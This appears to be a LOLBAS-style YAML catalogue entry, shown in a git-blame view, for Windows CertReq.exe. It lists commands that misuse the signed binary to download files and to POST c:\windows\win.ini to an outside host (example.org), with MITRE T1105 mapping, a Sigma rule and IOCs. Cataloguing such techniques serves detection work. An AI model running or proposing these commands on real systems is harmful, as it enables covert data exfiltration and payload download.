2020-07-07 22:09:06 +02:00
|
|
|
---
|
|
|
|
|
Name: CertReq.exe
|
|
|
|
|
Description: Used for requesting and managing certificates
|
|
|
|
|
Author: 'David Middlehurst'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2020-07-07
|
2020-07-07 22:09:06 +02:00
|
|
|
Commands:
|
|
|
|
|
- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
|
|
|
|
|
Description: Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory
|
|
|
|
|
Usecase: Download file from Internet
|
|
|
|
|
Category: Download
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2020-07-07 22:09:06 +02:00
|
|
|
- Command: CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal
|
|
|
|
|
Description: Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST
|
|
|
|
|
Usecase: Upload
|
|
|
|
|
Category: Upload
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2020-07-07 22:09:06 +02:00
|
|
|
Full_Path:
|
|
|
|
|
- Path: C:\Windows\System32\certreq.exe
|
|
|
|
|
- Path: C:\Windows\SysWOW64\certreq.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2020-07-07 22:09:06 +02:00
|
|
|
- Code:
|
|
|
|
|
Detection:
|
2021-11-25 10:42:26 +01:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/eb8c9c046b86e7d412bdcc3235693fa1c00f70d6/rules/windows/process_creation/win_susp_certreq_download.yml
|
2020-07-07 22:09:06 +02:00
|
|
|
- IOC: certreq creates new files
|
|
|
|
|
- IOC: certreq makes POST requests
|
|
|
|
|
Resources:
|
|
|
|
|
- Link: https://dtm.uk/certreq
|
|
|
|
|
Acknowledgement:
|
|
|
|
|
- Person: David Middlehurst
|
|
|
|
|
Handle: '@dtmsecurity'
|
